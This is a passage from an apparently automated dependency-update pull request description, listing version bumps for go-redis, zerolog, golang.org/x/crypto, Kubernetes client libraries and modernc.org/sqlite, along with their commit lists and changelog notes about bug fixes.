href=\"https://redirect.github.com/redis/go-redis/pull/3769\"\u003e#3769\u003c/a\u003e) by \u003ca href=\"https://github.com/zhengjilei\"\u003e\u003ccode\u003e@​zhengjilei\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVectorScoreSliceCmd RESP2\u003c/strong\u003e: Fixed \u003ccode\u003eVSimWithScores\u003c/code\u003e, \u003ccode\u003eVSimWithArgsWithScores\u003c/code\u003e, and \u003ccode\u003eVLinksWithScores\u003c/code\u003e which were broken on RESP2 connections returning flat arrays instead of maps (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3767\"\u003e#3767\u003c/a\u003e) by \u003ca href=\"https://github.com/apps/copilot-swe-agent\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/e7e9866e54f4423addca48ec804044cfca1b30d6\"\u003e\u003ccode\u003ee7e9866\u003c/code\u003e\u003c/a\u003e chore(release): v9.19.0 (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3796\"\u003e#3796\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/22b26f4b3ea5c2ab58605092e0937b78a8673267\"\u003e\u003ccode\u003e22b26f4\u003c/code\u003e\u003c/a\u003e feat(ft.aggregate): Add Steps for query building (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3782\"\u003e#3782\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/d9d769491154d4da6d683b73e9dfff5c878c1890\"\u003e\u003ccode\u003ed9d7694\u003c/code\u003e\u003c/a\u003e fix(pool): two fixes for closed connection handling (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3764\"\u003e#3764\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/44e8b7309cf547f620b9849a5a4dd9013cc3660a\"\u003e\u003ccode\u003e44e8b73\u003c/code\u003e\u003c/a\u003e fix(sch): auto hostname type detection (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3789\"\u003e#3789\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/ad21622ce8dba26c4ac7dc0fbf74a0bd278d2c19\"\u003e\u003ccode\u003ead21622\u003c/code\u003e\u003c/a\u003e fix(hello): do not send maintnotifications handshake when hello fails (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3788\"\u003e#3788\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/1a7ac744c3f98b415852b4c9842b97991e3e4d91\"\u003e\u003ccode\u003e1a7ac74\u003c/code\u003e\u003c/a\u003e fix(pool): suppress pool Close() errors for stale connections (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3778\"\u003e#3778\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/903d6bd360af9ea53d4af4ca652d18b915398c7d\"\u003e\u003ccode\u003e903d6bd\u003c/code\u003e\u003c/a\u003e fix(retry): make dial tcp error redirectable (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3786\"\u003e#3786\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3787\"\u003e#3787\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/00a551b3b468687e5e06b295b419292786bcdc99\"\u003e\u003ccode\u003e00a551b\u003c/code\u003e\u003c/a\u003e fix(credentials): leak in wrappedOnClose (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3785\"\u003e#3785\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/b5a6f99b7a9d496bf2e3d68ad9c33e43c23c4df9\"\u003e\u003ccode\u003eb5a6f99\u003c/code\u003e\u003c/a\u003e refactor(pool): remove redundant Conn.closed atomic field (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3783\"\u003e#3783\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/928f27aef850b3508b590e41a050f27d29fb14a2\"\u003e\u003ccode\u003e928f27a\u003c/code\u003e\u003c/a\u003e feat(hscan): add support for encoding.BinaryUnmarshaler (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3768\"\u003e#3768\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/redis/go-redis/compare/v9.18.0...v9.19.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/rs/zerolog` from 1.35.0 to 1.35.1\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rs/zerolog/commit/116c8060e034e8d46855354d22db2acbc8df9e1e\"\u003e\u003ccode\u003e116c806\u003c/code\u003e\u003c/a\u003e event: restore Err() logging when ErrorStackMarshaler returns nil (\u003ca href=\"https://redirect.github.com/rs/zerolog/issues/763\"\u003e#763\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/rs/zerolog/compare/v1.35.0...v1.35.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `golang.org/x/crypto` from 0.49.0 to 0.50.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/03ca0dcccbd37ba6be80adf74dde8d78a4d72817\"\u003e\u003ccode\u003e03ca0dc\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/8400f4a938077a7a7817ab7d163d148e371b320b\"\u003e\u003ccode\u003e8400f4a\u003c/code\u003e\u003c/a\u003e ssh: respect signer's algorithm preference in pickSignatureAlgorithm\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/81c6cb34a8fc386ed53293cd79e3c0c232ee7366\"\u003e\u003ccode\u003e81c6cb3\u003c/code\u003e\u003c/a\u003e ssh: swap cbcMinPaddingSize to cbcMinPacketSize to get encLength\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/golang/crypto/compare/v0.49.0...v0.50.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `k8s.io/api` from 0.35.0 to 0.36.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/545bb975fe6653239af42324065cf72272186404\"\u003e\u003ccode\u003e545bb97\u003c/code\u003e\u003c/a\u003e Update dependencies to v0.36.0 tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/879d3962091a3578f73c31a82c619e7a7bdfdd12\"\u003e\u003ccode\u003e879d396\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master' into release-1.36\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/030d81f63ea13f09388aee12e9c39b8d7ce9e841\"\u003e\u003ccode\u003e030d81f\u003c/code\u003e\u003c/a\u003e Update github.com/moby/spdystream from v0.5.0 to v0.5.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/aef6eb6922295161de2f7c1b9a496677938f8b20\"\u003e\u003ccode\u003eaef6eb6\u003c/code\u003e\u003c/a\u003e Add granular authorization for DRA ResourceClaim status updates\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/91061ea648b73ce8944e1c1ff2c1e99d6bacdb54\"\u003e\u003ccode\u003e91061ea\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/api/issues/136589\"\u003e#136589\u003c/a\u003e from tosi3k/preemption-mode\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/e6b81e28967d56d57aa665d6b28cc7a807423f1f\"\u003e\u003ccode\u003ee6b81e2\u003c/code\u003e\u003c/a\u003e Add Workload-Aware Preemption fields to Workload and PodGroup APIs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/f8fce2ea6d494ed13df7d57d84e4b30b5ad5c8a3\"\u003e\u003ccode\u003ef8fce2e\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/api/issues/136989\"\u003e#136989\u003c/a\u003e from nojnhuh/podgroup-resourceclaim\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/b928f5ee0f7878ef903e95ab771f1a55ed867c54\"\u003e\u003ccode\u003eb928f5e\u003c/code\u003e\u003c/a\u003e Workload API: PodGroup ResourceClaims (KEP-5729)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/61bd78e724dd0616b1cd7f6cd802f41a32400d73\"\u003e\u003ccode\u003e61bd78e\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/api/issues/137190\"\u003e#137190\u003c/a\u003e from everpeace/KEP-5491-alpha\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/6bf46eb598a71fec3182b4d598734c6a364e7cca\"\u003e\u003ccode\u003e6bf46eb\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/api/issues/137028\"\u003e#137028\u003c/a\u003e from nmn3m/feature/dra-resource-pool-status\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/kubernetes/api/compare/v0.35.0...v0.36.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `k8s.io/apimachinery` from 0.35.0 to 0.36.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/debe1eba03a0c4134fd07a8f7586c44bb94ec7b0\"\u003e\u003ccode\u003edebe1eb\u003c/code\u003e\u003c/a\u003e Update dependencies to v0.36.0 tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/efb7f2628b269921e5f12c4d42aece418c76789c\"\u003e\u003ccode\u003eefb7f26\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master' into release-1.36\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/d966e565cd271c44ba799b594ddb67987791cb80\"\u003e\u003ccode\u003ed966e56\u003c/code\u003e\u003c/a\u003e Update github.com/moby/spdystream from v0.5.0 to v0.5.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/79b363268543c402b68449b0cd531f8f8d0197d1\"\u003e\u003ccode\u003e79b3632\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/apimachinery/issues/137864\"\u003e#137864\u003c/a\u003e from yongruilin/dv-dra-mismatch\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/a8822f7bf620eede6c3f36354cec940c3844e7a8\"\u003e\u003ccode\u003ea8822f7\u003c/code\u003e\u003c/a\u003e Add slice and map union member support with tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/7dba2d08090b9d2285266ec2492d0b6395151f50\"\u003e\u003ccode\u003e7dba2d0\u003c/code\u003e\u003c/a\u003e Use IsZero instead of IsNil for union ratcheting check\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/d95710f91d61d2656298071a40a04d5343c642e5\"\u003e\u003ccode\u003ed95710f\u003c/code\u003e\u003c/a\u003e Fix union validation ratcheting when oldObj is nil\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/729062d58854ae8e9e85f5dc8d1660fb963ae483\"\u003e\u003ccode\u003e729062d\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/apimachinery/issues/137849\"\u003e#137849\u003c/a\u003e from bryantbiggs/deps/update-kube-openapi\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/13b12e6214bc1c2253aa3bcf8d52c2f83e767eb0\"\u003e\u003ccode\u003e13b12e6\u003c/code\u003e\u003c/a\u003e dependencies: bump kube-openapi to drop ginkgo/gomega indirect deps\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/27f467019a4eb99953b81708326a574524b11e8f\"\u003e\u003ccode\u003e27f4670\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/apimachinery/issues/136657\"\u003e#136657\u003c/a\u003e from Jefftree/sharding-test\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/kubernetes/apimachinery/compare/v0.35.0...v0.36.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `k8s.io/client-go` from 0.35.0 to 0.36.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/1d95f02c1723330f751c9eb255aefb0dcd7ca3d6\"\u003e\u003ccode\u003e1d95f02\u003c/code\u003e\u003c/a\u003e Update dependencies to v0.36.0 tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/f22a53e6273b1e6652107e62998997c714872f35\"\u003e\u003ccode\u003ef22a53e\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master' into release-1.36\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/a948641f81a43fb81beb739cb6773028e1981d86\"\u003e\u003ccode\u003ea948641\u003c/code\u003e\u003c/a\u003e Update github.com/moby/spdystream from v0.5.0 to v0.5.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/7e44ffcaa96165d6d77178c3aaca66d4523786b9\"\u003e\u003ccode\u003e7e44ffc\u003c/code\u003e\u003c/a\u003e Add Workload-Aware Preemption fields to Workload and PodGroup APIs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/df2d882697f9f437d53ae16b8091786250ce0812\"\u003e\u003ccode\u003edf2d882\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/client-go/issues/136989\"\u003e#136989\u003c/a\u003e from nojnhuh/podgroup-resourceclaim\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/4eece5291a474209f7fcba3cd8187ad855eeeca3\"\u003e\u003ccode\u003e4eece52\u003c/code\u003e\u003c/a\u003e Workload API: PodGroup ResourceClaims (KEP-5729)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/3d35c512076e7c95967ac4f3565c588495785796\"\u003e\u003ccode\u003e3d35c51\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/client-go/issues/137190\"\u003e#137190\u003c/a\u003e from everpeace/KEP-5491-alpha\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/04341177268fa5b2cb8a7502a36a81b87a6da2b2\"\u003e\u003ccode\u003e0434117\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/client-go/issues/137028\"\u003e#137028\u003c/a\u003e from nmn3m/feature/dra-resource-pool-status\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/ba785be0acd34a5899fe245278fb63cf9156850b\"\u003e\u003ccode\u003eba785be\u003c/code\u003e\u003c/a\u003e Drop CSR analogy, mark ObjectMeta +required,reduce limits (maxItems=500, maxL...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/4a9c8783a9ad1dd96970d83ec74138d28ae11cdb\"\u003e\u003ccode\u003e4a9c878\u003c/code\u003e\u003c/a\u003e Add ResourcePoolStatusRequest API types and generated code\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/kubernetes/client-go/compare/v0.35.0...v0.36.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `modernc.org/sqlite` from 1.48.1 to 1.50.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://gitlab.com/cznic/sqlite/blob/master/CHANGELOG.md\"\u003emodernc.org/sqlite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e2026-04-24 v1.50.0:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade to sqlite-vec \u003ca href=\"https://github.com/asg017/sqlite-vec/releases/tag/v0.1.9\"\u003ev0.1.9\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eIntroduce \u003ccode\u003eColumnInfo\u003c/code\u003e, enabling dynamic query builders and ORMs to retrieve underlying SQLite C-API metadata (\u003ccode\u003eOriginName\u003c/code\u003e, \u003ccode\u003eTableName\u003c/code\u003e, \u003ccode\u003eDatabaseName\u003c/code\u003e, and \u003ccode\u003eDeclType\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThis feature is exposed via the idiomatic \u003ccode\u003edatabase/sql\u003c/code\u003e escape hatch \u003ccode\u003e(*sql.Conn).Raw()\u003c/code\u003e, avoiding custom statement handles and keeping the standard library workflow intact.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/113\"\u003e#113\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/113\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/113\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e2026-04-17 v1.49.0: Upgrade to \u003ca href=\"https://sqlite.org/releaselog/3_53_0.html\"\u003eSQLite 3.53.0\u003c/a\u003e.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003e-DSQLITE_ENABLE_DBPAGE_VTAB\u003c/code\u003e to the transpilation. See \u003ca href=\"https://www.sqlite.org/dbpage.html\"\u003e\u0026quot;The SQLITE_DBPAGE Virtual Table\u0026quot;\u003c/a\u003e for details.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e2026-04-06 v1.48.2:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFix ABI mapping mismatch in the pre-update hook trampoline that caused silent truncation of large 64-bit RowIDs.\u003c/li\u003e\n\u003cli\u003eEnsure the Go trampoline signature correctly aligns with the public \u003ccode\u003esqlite3_preupdate_hook\u003c/code\u003e C API, preventing data corruption for high-entropy keys (e.g., Snowflake IDs).\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/98\"\u003e#98\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/98\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/98\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix the memory allocator used in \u003ccode\u003e(*conn).Deserialize\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eReplace \u003ccode\u003etls.Alloc\u003c/code\u003e with \u003ccode\u003esqlite3_malloc64\u003c/code\u003e to prevent internal allocator corruption. This ensures the buffer is safely owned by SQLite, which may resize or free it due to the \u003ccode\u003eSQLITE_DESERIALIZE_RESIZEABLE\u003c/code\u003e and \u003ccode\u003eSQLITE_DESERIALIZE_FREEONCLOSE\u003c/code\u003e flags.\u003c/li\u003e\n\u003cli\u003ePrevent a memory leak by properly freeing the allocated buffer if fetching the main database name fails before handing ownership to SQLite.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/100\"\u003e#100\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/100\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/100\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003e(*conn).Deserialize\u003c/code\u003e to explicitly reject \u003ccode\u003enil\u003c/code\u003e or empty byte slices.\u003c/li\u003e\n\u003cli\u003ePrevent silent database disconnection and connection pool corruption caused by SQLite's default behavior when \u003ccode\u003esqlite3_deserialize\u003c/code\u003e receives a 0-length buffer.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/101\"\u003e#101\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/101\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/101\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003ecommitHookTrampoline\u003c/code\u003e and \u003ccode\u003erollbackHookTrampoline\u003c/code\u003e signatures by removing the unused \u003ccode\u003epCsr\u003c/code\u003e parameter.\u003c/li\u003e\n\u003cli\u003eAligns internal hook callbacks accurately with the underlying SQLite C API, cleaning up the code to prevent potential future confusion or bugs.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/102\"\u003e#102\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/102\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/102\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003echeckptr\u003c/code\u003e instrumentation failures during \u003ccode\u003ego test -race\u003c/code\u003e when registering and using virtual tables (\u003ccode\u003evtab\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eAllocate \u003ccode\u003esqlite3_module\u003c/code\u003e instances using the C allocator (\u003ccode\u003elibc.Xcalloc\u003c/code\u003e) instead of the Go heap. This ensures transpiled C code can safely perform pointer operations on the struct without tripping Go's pointer checks.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/103\"\u003e#103\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/103\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/103\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix data race on \u003ccode\u003emutex.id\u003c/code\u003e in the \u003ccode\u003emutexTry\u003c/code\u003e non-recursive path.\u003c/li\u003e\n\u003cli\u003eEnsure consistent atomic writes (\u003ccode\u003eatomic.StoreInt32\u003c/code\u003e) to prevent data races with atomic loads in \u003ccode\u003emutexHeld\u003c/code\u003e and \u003ccode\u003emutexNotheld\u003c/code\u003e during concurrent execution.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/104\"\u003e#104\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/104\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/104\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix resource leak in \u003ccode\u003e(*Backup).Commit\u003c/code\u003e where the destination connection was not closed on error.\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003edstConn\u003c/code\u003e is properly closed when \u003ccode\u003esqlite3_backup_finish\u003c/code\u003e fails, preventing file descriptor, TLS, and memory leaks.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/105\"\u003e#105\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/105\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/105\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eExec\u003c/code\u003e to fully drain rows when encountering \u003ccode\u003eSQLITE_ROW\u003c/code\u003e, preventing silent data loss in DML statements.\u003c/li\u003e\n\u003cli\u003ePreviously, \u003ccode\u003eExec\u003c/code\u003e aborted after the first row, meaning \u003ccode\u003eINSERT\u003c/code\u003e, \u003ccode\u003eUPDATE\u003c/code\u003e, or \u003ccode\u003eDELETE\u003c/code\u003e statements with a \u003ccode\u003eRETURNING\u003c/code\u003e clause would fail to process subsequent rows. The execution path now correctly loops until \u003ccode\u003eSQLITE_DONE\u003c/code\u003e and properly respects context cancellations during the drain loop, fully aligning with native C \u003ccode\u003esqlite3_exec\u003c/code\u003e semantics.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/106\"\u003e#106\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/106\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/106\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix \u0026quot;Shadowed err value (stmt.go)\u0026quot;.\u003c/li\u003e\n\u003cli\u003eSee [GitLab issue \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/249\"\u003e#249\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/work_items/249\"\u003ehttps://gitlab.com/cznic/sqlite/-/work_items/249\u003c/a\u003e), thanks Emrecan BATI!\u003c/li\u003e\n\u003cli\u003eFix silent omission of virtual table savepoint callbacks by correctly setting the sqlite3_module version.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/107\"\u003e#107\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/107\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/107\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003evfsRead\u003c/code\u003e to properly handle partial and fragmented reads from \u003ccode\u003eio.Reader\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eReplace \u003ccode\u003ef.Read\u003c/code\u003e with \u003ccode\u003eio.ReadFull\u003c/code\u003e to ensure the buffer is fully populated, preventing premature \u003ccode\u003eSQLITE_IOERR_SHORT_READ\u003c/code\u003e errors on valid mid-stream partial reads. Unread tail bytes at EOF are now efficiently zero-filled using the built-in \u003ccode\u003eclear\u003c/code\u003e function.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/108\"\u003e#108\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/108\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/108\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eRefactor internal error formatting to safely handle uninitialized or closed database pointers.\u003c/li\u003e\n\u003cli\u003ePrevent a misleading \u0026quot;out of memory\u0026quot; error message when an operation fails and the underlying SQLite database handle is \u003ccode\u003eNULL\u003c/code\u003e (\u003ccode\u003edb == 0\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/109\"\u003e#109\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/109\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/109\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix error handling in database backup and restore initialization (\u003ccode\u003esqlite3_backup_init\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eEnsure error codes and messages are accurately read from the destination database handle rather than hardcoding the source or remote handle. This prevents swallowed errors or mismatched \u0026quot;not an error\u0026quot; messages when a backup or restore operation 